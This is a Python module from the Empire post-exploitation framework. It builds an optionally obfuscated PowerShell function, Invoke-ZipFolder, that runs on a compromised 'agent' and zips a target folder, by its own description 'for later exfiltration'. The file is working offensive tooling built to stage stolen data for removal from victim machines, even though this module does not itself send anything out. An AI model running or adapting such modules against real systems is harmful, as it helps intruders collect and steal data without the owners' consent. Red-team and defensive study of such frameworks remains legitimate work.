Empire/lib/modules/powershell/management/zipfolder.py

98 lines
2.8 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-ZipFolder',
'Author': ['@harmj0y'],
'Description': ('Zips up a target folder for later exfiltration.'),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': []
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Folder' : {
'Description' : 'Folder path to zip.',
'Required' : True,
'Value' : ''
},
'ZipFileName' : {
'Description' : 'Zip name/path to create.',
'Required' : True,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
script = """
function Invoke-ZipFolder
{
param([string]$Folder, [string]$ZipFileName)
if (-not (Test-Path $Folder)) {
"Target folder $Folder doesn't exist."
return
}
if (test-path $ZipFileName) {
"Zip file already exists at $ZipFileName"
return
}
$Directory = Get-Item $Folder
Set-Content $ZipFileName ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
(dir $ZipFileName).IsReadOnly = $false
$ZipFileName = resolve-path $ZipFileName
$ZipFile = (new-object -com shell.application).NameSpace($ZipFileName)
$ZipFile.CopyHere($Directory.FullName)
"Folder $Folder zipped to $ZipFileName"
}
Invoke-ZipFolder"""
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
script += " -" + str(option) + " " + str(values['Value'])
if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
return script